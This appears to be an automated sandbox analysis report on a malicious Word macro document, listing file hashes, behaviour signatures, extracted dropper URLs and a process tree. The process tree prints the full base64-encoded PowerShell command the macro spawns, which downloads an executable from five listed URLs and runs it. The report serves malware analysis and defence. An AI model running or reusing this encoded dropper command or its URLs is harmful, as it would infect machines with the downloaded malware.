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Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    08/09/2024, 08:30

General

  • Target

    d3f3124d96e6ced6528ba07736cd9744_JaffaCakes118.doc

  • Size

    247KB

  • MD5

    d3f3124d96e6ced6528ba07736cd9744

  • SHA1

    2a19fb773d17f0e10278d74ca1a43e2d54563369

  • SHA256

    0fb1891062a2efc47b2fe69391e3a7a42673afdbb21d834af3ad3ac36b56ecf0

  • SHA512

    6ce46e3ebe6b332d2cab8ea121240dbe3701a85f4c70a3c9e34e071c38d8b7318641fd7d854ffed8b96c8ffbc49b19d3251b6c61aa7cc55f07c26ef9fa1914e7

  • SSDEEP

    3072:yr/DEfw4rgz5WgP0BN1/AZjL/xSu90OoiLuDKZXfwKeljR1j:AzjzPkAxxUOmD+XfwL3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://mipec-city-view.com/eLFdiHVZc

exe.dropper

http://betablanja.com/ucF43aOI

exe.dropper

http://bluehost.theoceanweb.com/wp-admin/css/HeR7zgu

exe.dropper

http://thanhlapdoanhnghiephnh.com/YWPDn0EHGX

exe.dropper

http://aktemuryonetim.com/HQp52Xt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d3f3124d96e6ced6528ba07736cd9744_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2904
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PoWersheLL.exe
      PoWersheLL -e JABVAEoAaQBzAG4AYwA9ACgAJwBUACcAKwAnAFUANwBIADIAegAnACsAJwB3ACcAKQA7ACQAegBLADQATABMAEgAVwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABLAHoAYQBUAGMARABSAGEAPQAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8AJwArACcALwBtAGkAcABlAGMALQBjAGkAJwArACcAdAB5AC0AdgBpAGUAdwAuACcAKwAnAGMAJwArACcAbwBtAC8AZQBMAEYAJwArACcAZABpAEgAJwArACcAVgBaAGMAQABoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGIAJwArACcAZQB0AGEAYgBsAGEAbgBqAGEALgAnACsAJwBjAG8AbQAvAHUAYwBGADQAMwBhAE8ASQBAAGgAdAAnACsAJwB0AHAAOgAvAC8AJwArACcAYgBsACcAKwAnAHUAZQAnACsAJwBoAG8AJwArACcAcwB0AC4AdABoAGUAbwBjAGUAYQBuAHcAJwArACcAZQBiAC4AJwArACcAYwBvAG0ALwB3AHAAJwArACcALQBhACcAKwAnAGQAJwArACcAbQBpACcAKwAnAG4AJwArACcALwBjAHMAJwArACcAcwAvAEgAZQBSADcAegBnAHUAJwArACcAQABoAHQAdABwADoAJwArACcALwAvAHQAJwArACcAaABhAG4AaABsAGEAcABkAG8AYQBuAGgAbgBnACcAKwAnAGgAaQBlACcAKwAnAHAAJwArACcAaABuAGgALgAnACsAJwBjAG8AbQAvACcAKwAnAFkAVwBQACcAKwAnAEQAbgAwAEUASABHACcAKwAnAFgAQAAnACsAJwBoAHQAdABwACcAKwAnADoALwAvAGEAJwArACcAawB0AGUAbQB1AHIAJwArACcAeQAnACsAJwBvACcAKwAnAG4AJwArACcAZQB0AGkAbQAuAGMAJwArACcAbwBtAC8ASAAnACsAJwBRAHAANQAnACsAJwAyAFgAdAAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABaAHAAUwA4AGwAYwBVAD0AKAAnAGMASwB0ACcAKwAnAG4AaQAnACsAJwA0AGQAJwApADsAJABaAG4AagBvAEsAMABWACAAPQAgACgAJwAyADEAJwArACcANgAnACkAOwAkAHoAOABxAFMATQA3AEYAPQAoACcAYQBtAHcAJwArACcAdQBiACcAKwAnAG8AJwApADsAJABhAHAAVAB1AEIAaQBiAHoAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABaAG4AagBvAEsAMABWACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASwByAFgAdwBpAE8ARQBQACAAaQBuACAAJABLAHoAYQBUAGMARABSAGEAKQB7AHQAcgB5AHsAJAB6AEsANABMAEwASABXAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAEsAcgBYAHcAaQBPAEUAUAAsACAAJABhAHAAVAB1AEIAaQBiAHoAKQA7ACQAUQBFAHcAcgBOAHcASgA0AD0AKAAnAG0AdgBEAG8AbwBwACcAKwAnAEgAJwArACcAUQAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABhAHAAVAB1AEIAaQBiAHoAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABhAHAAVAB1AEIAaQBiAHoAOwAkAFQARgBCAGoAOABNAFkAMgA9ACgAJwBQADkARABNAEsAJwArACcASQAnACsAJwBYACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABIAGoAWQBpAEgAVgBzAEUAPQAoACcASABuAEsARgAnACsAJwBzAFQATgAnACsAJwBEACcAKQA7AA==
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2248
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1524

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      a7b70de302d6810cc0a94f03c2807a01

      SHA1

      52cba693c2e301eefedc9e982ff7e2af375ea960

      SHA256

      5733874dc2468ed86fb536ed2ad8e69e3889aace7d2356d584a6d1e3db052015

      SHA512

      1beef5e212a750f8e1646b5a959c20bfc5c398e8b8f59d52cda27ec62b5d901ffdebdb09bfaf13d5fa318d44c66375a17c0480f5fc210f56930085b228f70f68

    • memory/2904-54-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-149-0x00000000715CD000-0x00000000715D8000-memory.dmp

      Filesize

      44KB

    • memory/2904-13-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-12-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-43-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-10-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-9-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-8-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-14-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-15-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-89-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-78-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-2-0x00000000715CD000-0x00000000715D8000-memory.dmp

      Filesize

      44KB

    • memory/2904-70-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-11-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-32-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-21-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-20-0x0000000007030000-0x0000000007130000-memory.dmp

      Filesize

      1024KB

    • memory/2904-19-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-18-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-17-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-16-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-90-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-0-0x000000002F201000-0x000000002F202000-memory.dmp

      Filesize

      4KB

    • memory/2904-150-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-151-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/2904-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2904-174-0x00000000715CD000-0x00000000715D8000-memory.dmp

      Filesize

      44KB